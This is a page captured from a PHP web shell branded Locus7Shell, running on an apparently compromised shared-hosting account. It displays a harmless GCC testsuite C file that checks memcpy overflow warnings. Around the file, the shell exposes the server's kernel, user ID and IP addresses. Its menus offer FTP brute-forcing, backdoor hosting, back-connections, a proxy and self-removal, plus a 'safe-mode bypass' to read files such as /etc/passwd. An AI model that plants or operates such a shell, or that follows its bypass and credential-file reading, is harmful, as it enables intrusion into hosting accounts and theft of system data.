Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-60.c (1.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test derived from Glibc's getifaddrs_internal.   The code could be
   rewritten to avoid the warning for the memcpy call but since unions
   are designed to have their members treated as interchangeable there
   isn't a whole lot to be gained from issuing one.
   { dg-do compile }
   { dg-options "-O2 -Wall" } */

typedef __SIZE_TYPE__ size_t;

extern void* memcpy (void*, const void*, size_t);

struct sockaddr
{
  short sa_family;
  char sa_data[14];
};

struct in_addr
{
  int s_addr;
};

struct in6_addr
{
  union
  {
    char __u6_addr8[16];
    short __u6_addr16[8];
    int __u6_addr32[4];
  } __in6_u;
};

struct sockaddr_in
{
  short sin_family;
  short sin_port;
  struct in_addr sin_addr;
  unsigned char sin_zero[sizeof (struct sockaddr) -
             (sizeof (short)) -
             sizeof (short) -
             sizeof (struct in_addr)];
};

struct sockaddr_in6
{
  short sin6_family;
  short sin6_port;
  int sin6_flowinfo;
  struct in6_addr sin6_addr;
  int sin6_scope_id;
};

union
{
  struct sockaddr sa;
  struct sockaddr_in s4;
  struct sockaddr_in6 s6;
} u1, u2;

struct sockaddr *sa;

void test_unconditional (void *p)
{
  sa = &u1.sa;
  memcpy (&((struct sockaddr_in6 *) sa)->sin6_addr, p, 16);
}

void test_conditional (void *p, int i)
{
  sa = i ? &u1.sa : &u2.sa;
  memcpy (&((struct sockaddr_in6 *) sa)->sin6_addr, p, 16);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--